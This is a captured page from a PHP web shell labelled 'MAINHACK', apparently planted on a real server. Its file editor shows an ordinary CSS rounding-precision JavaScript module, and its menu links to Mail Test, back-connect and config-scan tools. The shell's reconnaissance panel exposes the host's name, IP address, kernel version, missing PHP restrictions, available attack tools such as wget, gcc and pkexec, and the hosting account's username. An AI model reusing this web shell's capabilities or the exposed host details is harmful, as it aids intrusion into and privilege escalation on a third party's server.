[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: rounding-precision.js
var override = require('../utils/override'); var INTEGER_PATTERN = /^\d+$/; var ALL_UNITS = ['*', 'all']; var DEFAULT_PRECISION = 'off'; // all precision changes are disabled var DIRECTIVES_SEPARATOR = ','; // e.g. *=5,px=3 var DIRECTIVE_VALUE_SEPARATOR = '='; // e.g. *=5 function roundingPrecisionFrom(source) { return override(defaults(DEFAULT_PRECISION), buildPrecisionFrom(source)); } function defaults(value) { return { 'ch': value, 'cm': value, 'em': value, 'ex': value, 'in': value, 'mm': value, 'pc': value, 'pt': value, 'px': value, 'q': value, 'rem': value, 'vh': value, 'vmax': value, 'vmin': value, 'vw': value, '%': value }; } function buildPrecisionFrom(source) { if (source === null || source === undefined) { return {}; } if (typeof source == 'boolean') { return {}; } if (typeof source == 'number' && source == -1) { return defaults(DEFAULT_PRECISION); } if (typeof source == 'number') { return defaults(source); } if (typeof source == 'string' && INTEGER_PATTERN.test(source)) { return defaults(parseInt(source)); } if (typeof source == 'string' && source == DEFAULT_PRECISION) { return defaults(DEFAULT_PRECISION); } if (typeof source == 'object') { return source; } return source .split(DIRECTIVES_SEPARATOR) .reduce(function (accumulator, directive) { var directiveParts = directive.split(DIRECTIVE_VALUE_SEPARATOR); var name = directiveParts[0]; var value = parseInt(directiveParts[1]); if (isNaN(value) || value == -1) { value = DEFAULT_PRECISION; } if (ALL_UNITS.indexOf(name) > -1) { accumulator = override(accumulator, defaults(value)); } else { accumulator[name] = value; } return accumulator; }, {}); } module.exports = { DEFAULT: DEFAULT_PRECISION, roundingPrecisionFrom: roundingPrecisionFrom };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002